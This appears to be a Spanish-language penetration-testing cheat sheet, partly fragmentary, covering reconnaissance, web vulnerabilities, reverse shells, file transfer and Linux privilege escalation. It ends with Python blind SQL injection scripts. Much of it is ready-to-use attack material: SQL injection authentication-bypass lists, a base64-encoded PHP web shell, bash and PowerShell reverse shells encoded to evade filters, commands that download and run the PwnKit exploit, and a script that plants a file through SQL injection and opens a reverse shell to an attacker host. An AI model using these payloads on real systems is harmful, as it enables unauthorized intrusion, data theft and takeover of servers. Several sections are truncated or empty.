$ RECOGNITION _
En la fase de reconocimiento de las pruebas de penetración, el objetivo principal es recopilar datos esenciales sobre los sistemas de la red objetivo mediante la construcción de un mapa de red detallado. Este paso crucial sienta las bases para un mayor análisis y una posible explotación.
HOST DISCOVERY
El paso inicial en el mapeo de la red implica identificar los hosts activos dentro de la red. Esto puede ser realizando barridos de ping y escaneos ARP para enumerar los hosts.
ARP Scan
NMAP PING SCAN
BASH PING SWEEP
( timeout 2 ping -c 1 $n.$i | grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}:" | \
tr -d ":" &); done; wait'
PORT SCAN
Después de completar la enumeración de la red e identificar nuestros objetivos, el siguiente paso consiste en escanear los puertos abiertos en los hosts para descubrir vulnerabilidades y posibles vectores de ataque.
Nmap TCP Port Scan
Bash TCP Port Scan
(echo > /dev/tcp/$ip/$port) > /dev/null 2>&1 &&
echo -e "$port\033[K" & if [ $((port % 200)) -eq 0 ];
then wait; fi; echo -ne "$port/65535\r"; done; wait'
Bash TCP Port Scan
Service & Version Detection
Nmap Scripts
# List nmap nse scripts
ls /usr/share/nmap/scripts | grep <service>
# Get info about a script
nmap --script-help <script>
$ NETWORK SERVICES _
Enumeration
Detección de versión de servicio y valor predeterminado nmap scripts
Services
FTP
Anonymous Login
>Name: anonymous
>Password: <target>
Brute Force
SSH
Cualquier versión de OpenSSH anterior a la 7.7 es vulnerable a la enumeración de usuarios (CVE-2018-15473) si no está parcheado. Para explotar esta vulnerabilidad, podemos utilizar el siguiente script:
ssh_user_enum.py
Brute Force
HTTP/HTTPS
Enumere archivos y directorios básicos con scripts nmap
Web Technologies
También recomiendo usar el Wappalizer extensión del navegador.
File and Directory Enumeration
• Gobuster
-t, --threads Concurrent threads
--exclude-length Exclude content length
-s, --status-codes White list status codes
-b, --status-codes-blacklist Black list status codes
-r, --follow-redirect Follow redirects
--proxy Use Proxy <type:host:port>
-k, --no-tls-validation Skip TLS verification
--timeout HTTP Timeout
• Wfuzz
-t <threads> Concurrent threads
-L, --follow Follow redirects
-p Use Proxy <host:port:type>
--hc/hl/hw/hh Hide code/lines/words/chars
--sc/sl/sw/sh Show code/lines/words/chars
Subdomain Enumeration
• Gobuster
• Wfuzz
Exploitation
Una vez enumerada la web, es posible que desees explotar algunas vulnerabilidades web:
Para ello entrar en el apartado 'WEB VULNERABILITIES'
SMB
Enumeración del sistema con enum4linux
Shares Enumeration
\\\\<target>\\<share>
# null session
smbclient -N -L //<target>
# authenticated
smbclient -U 'username[%password]' -L //<target>
# conect to a share
smbclient [-U 'username[%password]'] //<target>/<share>
# null session
smbmap -H <target>
# authenticated
smbmap -u "username" -p "password" -H <target>
# recursive/non-recursive listing
smbmap [-u "username" -p "password"] -R/-r <share> -H <target>
# null session
crackmapexec smb <IP> -u '' -p '' --shares
# authenticated
crackmapexec smb <IP> -u 'username' -p 'password' --shares
nmap -p 139,445 --script "smb-enum-shares" <target>
RPC
Automated Enumeration
Manual Enumeration
# null session
rpcclient -U "" -N <target>
# authenticated
rpcclient -U "username%passwd" -N <target>
# commands https://www.hackingarticles.in/active-directory-enumeration-rpcclient/
rpcclient -U '[username%passwd]' -N <target> -c '<command>'
$ Command Injection _
La inyección de comandos es una vulnerabilidad que permite la ejecución de comandos arbitrarios en el servidor host, lo que podría provocar acceso no autorizado, robo de datos o compromiso del sistema.
Chaining and Invoking
Se pueden combinar comandos (en sistemas Windows y Linux) utilizando estos operadores
; # Executes one command and then another
& # Executes a command in the background, followed by the other one
| # Redirects the output the first command as input to the second command
&& # Executes the second command if the first command succeeds
|| # Executes the second command if the first command fails
También es posible inyectar comandos mediante sustitución de comandos, donde la salida de un comando se captura y se utiliza en otro contexto.
$(command) # Both windows and linux systems
`command` # Only linux systems
Bypasses
Space Bypass
Es posible utilizar el Internal Field Separator $IFS para evitar el uso de espacios en los comandos.
Blacklisted Words
# Backslashes
# $()
# ``
# $@
References
$ CSRF (Cross Site Request Forgery) _
La falsificación de solicitudes entre sitios (CSRF) es una vulnerabilidad en la que un atacante engaña a un usuario para que, sin saberlo, ejecute acciones en una aplicación web en la que está autenticado, lo que lleva a que se realicen acciones no autorizadas sin el consentimiento o conocimiento del usuario.
Payloads
GET
# No user interaction required
POST
<input name="pass" type="hidden" value="pass" />
<input type="submit" value="Submit" />
</form>
<-- Auto submit -->
<script>
document.getElementById("form").submit();
</script>
References
$ File Inclusion _
La inclusión de archivos locales (LFI) y la inclusión de archivos remotos (RFI) son vulnerabilidades de aplicaciones web donde un atacante puede manipular rutas de archivos para incluir archivos, ya sea desde el sistema local (LFI) o servidores remotos (RFI), lo que podría conducir a acceso o código no autorizado. ejecución.
Remote File Inclusion (RFI)
Si encontramos una manera de incluir un archivo remoto, podríamos intentar incluir código php para ejecutar comandos en el host.
Podríamos servir un código PHP malicioso para que el host lo interprete.
python3 -m http.server 80
Si el servidor estuviera bloqueando el acceso a recursos externos, podríamos intentar usar el contenedor data:// para inyectar código PHP como base64.
php://filter/convert.base64-
decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4K
Local File Inclusion (LFI)
Absolute Path
Relative Path Traversal
Null Byte
Encoding
http://<hsot>/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Truncation
http://<hsot>/index.php?page=../../../[ADD MORE]../../../etc/passwd
Filtered characters
References
$ File Upload _
La vulnerabilidad File Upload en aplicaciones web ocurre cuando los usuarios pueden cargar archivos sin la validación adecuada, lo que potencialmente permite que se carguen y ejecuten archivos maliciosos en el servidor, lo que provoca acceso no autorizado, violaciones de datos o compromiso del sistema.
Extensions
PHP
.php2
.php3
.php4
.php5
.php7
.pht
.phpt
.phtm
.phtml
.phps
.phar
.hphp
.module
.inc
.ctp
ASP
.aspx
.config
.ashx
.asmx
.aspq
.axd
.cshtm
.cshtml
.rem
.soap
.vbhtm
.vbhtml
.asa
.cer
.shtml
• Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
• Coldfusion: .cfm, .cfml, .cfc, .dbm
• Flash: .swf
• Perl: .pl, .pm, .cgi, .lib
• Node.js: .js, .json, .node
Filter Bypass
Uppercase letters: .pHp, .pHP5, .PhAr
Double extension:
• .png.php
• .gif.php
Null byte:
• .php%00.gif
• .php\x00.gif
Special chars:
• file.php%20
• file.php%0a
• file.php%0d%0a
• file.php/
• file.php.\
• file.php....
Content-Type:
• Content-Type : image/gif
• Content-Type : image/png
• Content-Type : image/jpeg
Magic numbers:
• GIF: GIF8;
• PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
• JPG: \xff\xd8\xff
References
$ NoSQL Injection _
COMING SOON
$ Path Traversal _
La vulnerabilidad de recorrido de ruta ocurre cuando una aplicación maneja incorrectamente la entrada del usuario en las rutas de los archivos, lo que permite a los atacantes manipular la ruta para acceder a directorios y archivos fuera del alcance previsto. Esto puede provocar acceso no autorizado a archivos confidenciales, exposición de datos confidenciales y potencialmente comprometer todo el sistema.
Basic Payloads
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
Bypasses
..././
...\.\
..;/
# Double URL encoding
. = %252e
/ = %252f
\ = %255c
Interesting Files
Linux
Interesting files:
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db
Possible payload injectable files:
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
Windows
Interesting files:
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
# Always existing files in recent Windows
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
References
$ SQL Injection _
La vulnerabilidad de inyección SQL en aplicaciones web ocurre cuando las entradas del usuario no se desinfectan adecuadamente, lo que permite a los atacantes inyectar código SQL malicioso en las consultas. Esto puede provocar acceso no autorizado a la base de datos, robo de datos, manipulación de datos o incluso el compromiso total de la base de datos backend de la aplicación, lo que resulta en importantes violaciones de seguridad y pérdida de datos.
Entry point detection
Error Messages
%27
"
%22
#
%23
;
%3B
)
Logical Operations
1 and 1=2 -- false
Time/Blind
sleep(10)
-- PostgreSQL --
pg_sleep(10)
-- MSSQL --
WAITFOR DELAY '0:0:10'
-- Oracle --
[RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
-- SQLite --
[RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
DBMS Identification
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Authentication Bypass
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Cheatsheets
• MySQL
• Oracle
• PostgreSQL
• MSSQL
• Other DBMSs
References
$ SSRF (Server Side Request Forgery) _
COMING SOON
$ SSTI (Server Side Template Injection) _
COMING SOON
$ XSS (Cross-site scripting) _
COMING SOON
$ XXE (XML External Entity) _
COMING SOON
$ Active Directory _
COMING SOON
$ Reverse Shell _
Reverse Shells
Reverse Shell Generator
Bash
Podemos codificar el contenido en base64, para evitar conflictos con símbolos y espacios en las URL. Además, para evitar que aparezcan caracteres "+", podemos utilizar codificación doble.
echo "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64 | base64
# Execute the reverse shell
echo <b64_code> | base64 -d | base64 -d | bash
Netcat
Mkfifo
Python3
Socat
PowerShell
Base64
echo '$client = New-Object System.Net.Sockets.TCPClient("
# Execute the reverse shell
powershell -e <b64_code>
Nishang
Ejecute esto en su máquina local:
Y mientras ejecuta el servidor http de Python, ejecute esto en el destino:
Netcat
Localice "nc.exe" y cópielo en su directorio actual, luego ejecútelo en su máquina local:
Y mientras ejecuta el servidor smb, ejecute esto en el destino:
Interactive TTY
or
and then
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <cols> # Check size in another window -> stty size
$ File Transfer _
md5sum <file>
# Windows
certutil -hashfile <file> md5
HTTP/PHP
Python3
Python2
PHP
Download
Wget
Curl
PowerShell
Batch
SMB
SMB Server
Download
Linux
Windows
Ncat
Send
Recieve
Bash
Send
Recieve
$ Linux Privilege Escalation _
Tools
LinPEAS
LSE
LinEnum
System Info
Obtenga información sobre la arquitectura, distribución y versión del kernel del sistema.
lsb_release -a # Distribution information
getconf LONG_BIT # System architecture
cat /proc/version # Kernel version
cat /etc/os-release # OS details
Path
Compruebe si tiene permisos de escritura para algún directorio en el PATH.
Enviroment Variables
En ocasiones podemos encontrar contraseñas o información sensible en variables de entorno.
set # Shell variables
Groups
Lista de todos los grupos a los que pertenecen los usuarios.
groups [user]
Docker
Si pertenece al grupo Docker, puede montar el sistema de archivos dentro de un contenedor y tener acceso completo a él, lo que le permitirá modificarlo.
LXD/LXC
De manera similar a Docker, con LXD/LXC, también podemos montar el sistema de archivos dentro de un contenedor, otorgándole acceso completo.
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine
lxc image import ./alpine.tar.gz --alias privimg
# Create the containter
lxc init privimg privcont -c security.privileged=true
# Mount the filesystem
lxc config device add privcont privdev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start privcont
# Interactive shell
lxc exec privcont /bin/sh
Sudo
GTFOBins Link
sudo -l
# Version
sudo -V | grep "Sudo ver"
Capabilities
Hack_Tricks Link
SUID
GTFOBins Link
Open Ports
netstat -punta
Cron Jobs
Hack_Tricks Link
find / -name "cron*" 2>/dev/null
ls -l /var/log/syslog
ls -l /var/log/cron
Process Monitor
diff <(echo "$old_ps" ) <(echo "$new_ps" ) | grep "[\>\<]" | \
grep -Ev "kworker|user,command"; old_ps=$new_ps; done
Writable Scripts
Passwords
Exploits
Polkit - (CVE-2021-4034)
GitHub pkexec-exploit Link
-o PwnKit.py && python3 PwnKit.py
GitHub PwnKit Link
-o PwnKit && chmod +x PwnKit && ./PwnKit
$ Windows Privilege Escalation _
System Enumeration
List Users
User Privileges
Search Files
WinPEAS
$ Directorybrute _
Directorybrute es una herramienta de fuerza bruta de directorios y archivos diseñada para descubrir directorios y archivos ocultos en servidores web mediante solicitudes HTTP.
Link al repositorio
$ Cerbero _
Cerbero es una herramienta de línea de comandos diseñada para realizar ataques de fuerza bruta contra servicios SSH y FTP. Esta herramienta puede resultar útil para auditorías de seguridad o pruebas de penetración donde es necesario probar la resistencia de las credenciales de acceso.
Link al repositorio
$ suBruteforce _
suBruteforce es una herramienta de fuerza bruta diseñada para probar combinaciones de usuario y contraseña en sistemas Unix utilizando el comando su. Esta herramienta está escrita en Python y proporciona una interfaz amigable y personalizable para realizar ataques de fuerza bruta.
Link al repositorio
$ SQL Injection Scripts _
Aqui hay una muestra de vrios scripts que se tienen que modificar a gusto de cada uno para que haga su cometido
SQL Injection Databases
from pwn import *
import requests, pdb, string, signal, sys, time
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
login_url = "http://<IP>/<LOGIN>"
characters = string.ascii_lowercase + "-_"
def makeRequest():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
database = ""
p2 = log.progress("Usuario")
for position in range(1, 22): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or if(substr(database(),%d,1)='%s', sleep(5), 1)-- -" % (position, character), #Aqui lo que hacemos es que mediantes sleep's y con la comparacion de si es 1 es True sacar el nombre de la base de datos...
'password' : 'test'
}
p1.status(post_data['username'])
time_start = time.time()
r = requests.post(login_url, data=post_data)
time_end = time.time()
if time_end - time_start > 5: #Parametro de la comparacion para saber si es True o False con los tiempos de sleep's (Si tarda 5 segundos en responder es True, de lo contrario es False)
database += character
p2.status(database)
break
if __name__ == '__main__':
makeRequest()
SQL Injection Table_Name
from pwn import *
import requests, pdb, string, signal, sys, time
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
login_url = "http://<IP>/<LOGIN>" characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeRequest():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
password = ""
p2 = log.progress("Usuario")
for position in range(1, 22): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or (select hex(substring(password, %d,1)) from users where username='enemigosss')=hex('%s')-- -" % (position, character), #Donde pone hex() significa que estamos jugando con el formato hexadecimal para que nos detecte si es mayuscula o minuscula la letra y con sus respectibos simbolos...
'password' : 'test'
}
p1.status(post_data['username'])
r = requests.post(login_url, data=post_data)
if r.text == "1": #Parametro de la comparacion para saber si es True o False
password += character
p2.status(password)
break
if __name__ == '__main__':
makeRequest()
SQL Injection Username nad Password
from pwn import *
import requests, pdb, string, signal, sys, time
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
login_url = "http://<IP>/<LOGIN>"
characters = string.ascii_lowercase + "-_"
def makeRequest():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
username = ""
p2 = log.progress("Usuario")
for position in range(1, 20): #El rango de caracteres que pueda tener el usuario
for character in characters:
post_data = {
'username' : "' or (select substring(username, %d,1) from users limit 1)='%s'-- -" % (position, character), #Donde pone username de esta linea es el contenido de la tabla que en este caso se llama username que queremos descubrir ya que por defecto la tabla se llama asi, y la otra por defecto para saber en nombre de usuario es name la cual tambien tendriamos que probar, si no supieramos nada de esto, tendriamos que empezar explotando el nombre de la base de datos...
'password' : 'test'
}
p1.status(post_data['username'])
r = requests.post(login_url, data=post_data)
if r.text == "1": #Parametro de la comparacion para saber si es True o False
username += character
p2.status(username)
break
if __name__ == '__main__':
makeRequest()
SQL Injection Deposit file
from pwn import *
import signal, pdb, requests
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
#Ctlr+C
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) != 3:
log.failure("Uso: %s <ip-address> filename" % sys.argv[0])
sys.exit(1)
# Varianles globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url = "http://%s/" % ip_address
def createFile():
data_post = {
'username': 'admin',
'country': """Brazil' UNION SELECT " " INTO OUTFILE "/var/www/html/%s"-- -""" % (filename)
}
r = requests.post(main_url, data=data_post)
if __name__ == '__main__':
createFile()
SQL Injection Deposit file + Reverse Shell
from pwn import *
import signal, pdb, requests
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
#Ctlr+C
signal.signal(signal.SIGINT, def_handler)
if len(sys.argv) != 3:
log.failure("Uso: %s <ip-address> filename" % sys.argv[0])
sys.exit(1)
# Varianles globales
ip_address = sys.argv[1]
filename = sys.argv[2]
main_url = "http://%s/" % ip_address
lport = <PORT>
def createFile():
data_post = {
'username': 'admin',
'country': """Brazil' UNION SELECT " " INTO OUTFILE "/var/www/html/%s"-- -""" % (filename)
}
r = requests.post(main_url, data=data_post)
def getAccess():
data_post = {
'cmd': "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'"
}
r = requests.post(main_url + "%s" % filename, data=data_post)
if __name__ == '__main__':
createFile()
try:
threading.Thread(target=getAccess, args=()).start()
except Exception as e:
log.error(str(e))
shell = listen(lport, timeout=20).wait_for_connection()
shell.interactive()
getAccess()